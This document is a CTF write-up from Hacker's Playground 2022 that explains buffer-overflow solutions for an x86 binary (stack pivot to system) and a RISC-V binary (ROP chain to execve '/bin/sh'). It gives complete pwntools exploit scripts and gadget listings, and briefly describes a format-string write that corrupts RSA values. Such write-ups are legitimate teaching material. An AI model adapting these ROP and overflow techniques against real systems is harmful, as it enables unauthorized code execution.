Skip to content

Latest commit

 

History

History
438 lines (322 loc) · 15 KB

File metadata and controls

438 lines (322 loc) · 15 KB

Hacker's Playground 2022

A 24h CTF Organized by Security Team of Samsung Research.

I played as a member of Soteria Team & together, we ranked 21th out of more than 700 teams.

I really enjoyed playing in this CTF & I wished it would be longer. There were some creative & hard challenges that were fun to play & discover. I've managed to solve 2 pwn challenges, helped in few & made progress in few other challenges.



Pwn

  1. pppr

For this one, we were given a decompiled source code from IDA & a x86 binary. Looking at the source code, we have a function used to read from stdin, this should be an equivalent to fgets:

int __cdecl r(int a1, unsigned int a2, int a3)
{
  int result; // eax
  char v4; // [esp+3h] [ebp-9h]
  unsigned int i; // [esp+4h] [ebp-8h]

  if ( a3 )
  {
    puts("r() works only for stdin.");
    result = -1;
  }
  else
  {
    for ( i = 0; a2 > i; ++i )
    {
      v4 = fgetc(stdin);
      if ( v4 == -1 || v4 == 10 )
        break;
      *(_BYTE *)(a1 + i) = v4;
    }
    *(_BYTE *)(i + a1) = 0;
    result = i;
  }
  return result;
}

Looking at our main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[4]; // [esp+0h] [ebp-8h] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  alarm(0xAu);

  r(v4, 64, 0);
  return 0;
}

We are clearly able to write out of bound of v4 variable, this is our BOF. We also have the function system used in function x therefore we can use this instead of a ret2libc.

Checking the security of the binary, we have PIE disabled so we can write our /bin/sh into the binary & use it to call system. Later on I used sh only instead of /bin/sh, luckly /bin was in the PATH variable.

Plan is, write sh to a known & writeable address alongside a system address to call it with sh string. We then stack pivot to that address to make our call & get a shell. Solver:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./pppr")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("pppr.sstf.site", 1337)

    return r


def main():
    r = conn()
    
    writeable = 0x804a000+0xa00
    leave_ret = 0x08048643
    
    payload = b"A"*8
    payload += p32(writeable+len('sh')+26) # ebp
    payload += p32(exe.symbols.r)
    payload += p32(leave_ret) # ret to leave - Stack pivot
    payload += p32(writeable)
    payload += p32(0x100)
    payload += p32(0)
    
    r.sendline(payload)
    
    payload2 = b'sh\0' 
    payload2 += b'A'*25 # padding
    payload2 += p32(0)
    payload2 += p32(exe.symbols.x)
    payload2 += p32(0)
    payload2 += p32(writeable)
    
    pause()
    r.sendline(payload2)

    r.interactive() # SCTF{Anc13nt_x86_R0P_5kiLl}


if __name__ == "__main__":
    main()

  1. riscy

This one was an interesting challenge, we were given a RISC-V binary to pwn it. We got the source & deployment binary with an emulator to run it, feel free to check here.

As a start, we'll need to gather few information about this architecture. This will be for RISC-V 64bit.

  • Registerss

    • a0 --> a7 used for function arguments.
    • a7 used for syscall number.
    • t3 --> t6 temporary registers.
    • sp used as a stack pointer. (Equivalent to rsp)
    • ra used as a return address. (More details below)
  • Assembly Instructions

    We'll look for the most important instructions, which would be useful for us now.

    • ld: Load values from memory (can be indexed with an offset) to a register. Example: ld a0, 20(sp) loads 8 bytes into a0 from the address sp+20.
    • mv: Equivalent to mov instruction for x86_64.
    • ret: Return to the address stored in ra.
    • ecall: Equivalent to syscall.
    • jr: Equivalent to jmp.

Now we can start digging. Looking at the given source code, we have a start function:

void start() {
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  char buf[32];
  memset(buf, 0, sizeof(buf));
  read(0, buf, 256);
  
  if (!strcmp(buf, "250382"))
    printf("Password OK :)\n");
  else
    printf("Invalid Password!\n");
}

We clearly have a BOF, giving us 256-32 = 224 bytes for the overflow. The problem now, we'll need ROP gadgets but there is no known tool (as far as I've searched) to find them. While searching, I found this writeup (REF) & apparently we should have this well known gadget to set all of the aX registers.

Time for the old, painful way!

We can dump the assembly code using /usr/riscv64-linux-gnu/bin/objdump -d ./target. You can find the dumped file here. Thanks to grep & regex, we can find our gadget:

    0x41782 <_dl_runtime_resolve+54>:	mv	t1,a0
    0x41784 <_dl_runtime_resolve+56>:	ld	ra,72(sp)
    0x41786 <_dl_runtime_resolve+58>:	ld	a0,8(sp)
    0x41788 <_dl_runtime_resolve+60>:	ld	a1,16(sp)
    0x4178a <_dl_runtime_resolve+62>:	ld	a2,24(sp)
    0x4178c <_dl_runtime_resolve+64>:	ld	a3,32(sp)
    0x4178e <_dl_runtime_resolve+66>:	ld	a4,40(sp)
    0x41790 <_dl_runtime_resolve+68>:	ld	a5,48(sp)
    0x41792 <_dl_runtime_resolve+70>:	ld	a6,56(sp)
    0x41794 <_dl_runtime_resolve+72>:	ld	a7,64(sp)
    0x41796 <_dl_runtime_resolve+74>:	fld	fa0,80(sp)
    0x41798 <_dl_runtime_resolve+76>:	fld	fa1,88(sp)
    0x4179a <_dl_runtime_resolve+78>:	fld	fa2,96(sp)
    0x4179c <_dl_runtime_resolve+80>:	fld	fa3,104(sp)
    0x4179e <_dl_runtime_resolve+82>:	fld	fa4,112(sp)
    0x417a0 <_dl_runtime_resolve+84>:	fld	fa5,120(sp)
    0x417a2 <_dl_runtime_resolve+86>:	fld	fa6,128(sp)
    0x417a4 <_dl_runtime_resolve+88>:	fld	fa7,136(sp)
    0x417a6 <_dl_runtime_resolve+90>:	addi	sp,sp,144
    0x417a8 <_dl_runtime_resolve+92>:	jr	t1

Examining our gadget, it starts with mv t1,a0 & ends with jr t1 therefore, in order to keep control of the execution flow, we'll need to control a0 register before jumping to our gadget else we'll lose control. Which explains the use of the second gadget:

    0x4602e <__dlopen+42>:	ld	ra,40(sp)
    0x46030 <__dlopen+44>:	ld	a0,16(sp)
    0x46032 <__dlopen+46>:	addi	sp,sp,48
    0x46034 <__dlopen+48>:	ret

Using this gadget, we can control the ra register value & jump to it using the ret at the end. We also have the ability to set a0 value. With this, we can call our first gadget without losing control of the execution.

Now we can start ROPing! Our plan: - We write "/bin/sh" to a known address. Checking the binary security, PIE is disabled. We can use read for that. - We use a syscall for execve using our string.

The only problem we'll be facing is the payload length. At first I tried looking for other gadgets to chain since the current ones require a lot of stack space but later on I figured out an other solution.

The current stack space is enough for setting our a0 register & then setting up registers for a read call then return to start function again! And this will give us an other BOF to abuse!

For the second stage, we'll setup the registers for a ecall instruction to call execve.

Code part, we'll start with setting up few constants:

gad_set_all     = 0x41782
gad_set_a0      = 0x4602e

read            = 0x00000000000260da
ecall           = 0x1414a
writeable       = 0x0006c000
start           = 0x0000000000010434

Now the first stage payload:

payload = b"a"*40           # padding
payload += p64(gad_set_a0)  # ra register - ret value

# gad set a0
# 16 bytes padding - a0 value - 16 bytes padding - ra value to ret
payload += p64(0x69696969)*2 + p64(read) + p64(0x69696969)*2 + p64(gad_set_all)

# gad set all
payload += p64(0x69696969)  # padding
payload += p64(0)           # a0
payload += p64(writeable)   # a1
payload += p64(0x500)       # a2
payload += p64(0)*5         # padding (a3,a4,a5,a6,a7)
payload += p64(start)       # ra register - ret to start for stage 2
payload += p64(0)*8         # padding

We'll then send a "/bin/sh" for the read. After that, we start our stage 2, it'll be similar to stage 1:

payload = b"a"*40           # padding
payload += p64(gad_set_a0)  # ra register - ret value

# gad set a0
# 16 bytes padding - a0 value - 16 bytes padding - ra value to ret
payload += p64(0x69696969)*2 + p64(ecall) + p64(0x69696969)*2 + p64(gad_set_all)

# gad set all
# setup for execve("/bin/sh", NULL, NULL)
payload += p64(0x69696969)      # padding
payload += p64(writeable)       # a0 : "/bin/sh"
payload += p64(0)               # a1 : NULL
payload += p64(0)               # a2 : NULL
payload += p64(0)*4             # padding
payload += p64(221)             # a7 - syscall number
payload += p64(0)               # ret, not used now
payload += p64(0)*8             # padding

For the syscall number, here is a REF for a syscall table for multiple architectures.

Full solver (Link):

#!/usr/bin/env python3

from pwn import *

exe = ELF("./target")


def conn():
    if args.LOCAL:
        r = process(["./qemu-riscv64", "./target"])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("riscy.sstf.site", 18223 )

    return r


def main():
    r = conn()
    
    # Used gadgets
    ''' set_all_gad
    
        0x41782 <_dl_runtime_resolve+54>:	mv	t1,a0
        0x41784 <_dl_runtime_resolve+56>:	ld	ra,72(sp)
        0x41786 <_dl_runtime_resolve+58>:	ld	a0,8(sp)
        0x41788 <_dl_runtime_resolve+60>:	ld	a1,16(sp)
        0x4178a <_dl_runtime_resolve+62>:	ld	a2,24(sp)
        0x4178c <_dl_runtime_resolve+64>:	ld	a3,32(sp)
        0x4178e <_dl_runtime_resolve+66>:	ld	a4,40(sp)
        0x41790 <_dl_runtime_resolve+68>:	ld	a5,48(sp)
        0x41792 <_dl_runtime_resolve+70>:	ld	a6,56(sp)
        0x41794 <_dl_runtime_resolve+72>:	ld	a7,64(sp)
        0x41796 <_dl_runtime_resolve+74>:	fld	fa0,80(sp)
        0x41798 <_dl_runtime_resolve+76>:	fld	fa1,88(sp)
        0x4179a <_dl_runtime_resolve+78>:	fld	fa2,96(sp)
        0x4179c <_dl_runtime_resolve+80>:	fld	fa3,104(sp)
        0x4179e <_dl_runtime_resolve+82>:	fld	fa4,112(sp)
        0x417a0 <_dl_runtime_resolve+84>:	fld	fa5,120(sp)
        0x417a2 <_dl_runtime_resolve+86>:	fld	fa6,128(sp)
        0x417a4 <_dl_runtime_resolve+88>:	fld	fa7,136(sp)
        0x417a6 <_dl_runtime_resolve+90>:	addi	sp,sp,144
        0x417a8 <_dl_runtime_resolve+92>:	jr	t1

    '''
    
    '''gad_set_a0
        0x4602e <__dlopen+42>:	ld	ra,40(sp)
        0x46030 <__dlopen+44>:	ld	a0,16(sp)
        0x46032 <__dlopen+46>:	addi	sp,sp,48
        0x46034 <__dlopen+48>:	ret
    '''
    
    # Constants
    gad_set_all     = 0x41782
    gad_set_a0      = 0x4602e
    
    read            = 0x00000000000260da
    ecall           = 0x1414a
    writeable       = 0x0006c000
    start           = 0x0000000000010434
    
    # Stage 1
    payload = b"a"*40           # padding
    payload += p64(gad_set_a0)  # ra register - ret value

    # gad set a0
    # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret
    payload += p64(0x69696969)*2 + p64(read) + p64(0x69696969)*2 + p64(gad_set_all)

    # gad set all
    payload += p64(0x69696969)  # padding
    payload += p64(0)           # a0
    payload += p64(writeable)   # a1
    payload += p64(0x500)       # a2
    payload += p64(0)*5         # padding (a3,a4,a5,a6,a7)
    payload += p64(start)       # ra register - ret to start for stage 2
    payload += p64(0)*8         # padding
    
    r.sendline(payload)
    
    pause()
    
    r.sendline('/bin/sh\0')
    
    pause()
    
    # stage 2
    payload = b"a"*40           # padding
    payload += p64(gad_set_a0)  # ra register - ret value

    # gad set a0
    # 16 bytes padding - a0 value - 16 bytes padding - ra value to ret
    payload += p64(0x69696969)*2 + p64(ecall) + p64(0x69696969)*2 + p64(gad_set_all)

    # gad set all
    # setup for execve("/bin/sh", NULL, NULL)
    payload += p64(0x69696969)      # padding
    payload += p64(writeable)       # a0 : "/bin/sh"
    payload += p64(0)               # a1 : NULL
    payload += p64(0)               # a2 : NULL
    payload += p64(0)*4             # padding
    payload += p64(221)             # a7 - syscall number
    payload += p64(0)               # ret, not used now
    payload += p64(0)*8             # padding
    
    r.sendline(payload)
    
    r.interactive() # SCTF{Ropping RISCV is no difference!}


if __name__ == "__main__":
    main()

Pwn&Crypto

  1. Secure runner 1 & 2

For this one, I took care of the pwn part, which involved a format string exploit to zero-out 4 bytes of RSA Encryption values in order to generate a valid signature to run cat /flag.txt. My team mate, Yassine Belarbi (SSONEDE) took care of the RSA signing part.

Both challenges were the same (Pwn part) only a different offset to write..

Basic information:

For RSA signing, we require an exponent e, 2 secret prime numbers, p & q. These values generate our public & private keys: N & d.

N = p*q.
d = inverse(e, (p-1)*(q-1)).

N & d are used to generate & verify the signatures.

Now the challenge part. We were given a binary that gives us the following services:

We have 2 more hidden services, we can see them in IDA/Ghidra.

0. Recalculate N & display the value, doesn't update the actual N used by the signer.
9999. Format string vuln.

The binary is using a library to generate RSA values since they are very large values for security reasons. This library stores the values in heap. In the format string option, we give an integer which gets added to a heap address, stored in stack. Then we can give a string of 4 characters + null byte which gets passed to a printf call as a format parameter.

Examining the stack, due to the length limit, we can leak arguments/values from stack & registers from 1 to 9 since our limit would be %9$p is 4 characters therefore, leaking would not help.

Instead, we have the ability to index a heap address stored in heap & accessible to us (Index 7). We can use this address to arbitrary write 4 null bytes to a specific heap address. (Offsets between heap addresses are constant)

However, we can write only once! Here comes the crypto part. For the first Runner, we zeroed 4 bytes of N, located at offset -2704. For the second Runner, the binary added a check to make sure N isn't changed so for this one, we changed the exponent e.

I didn't go much into the details of the Crypto side since I still have a way to go since I only have the basics of RSA encryption. Hopefully I'll be able to handle this kind of challenges on my own in the future.ss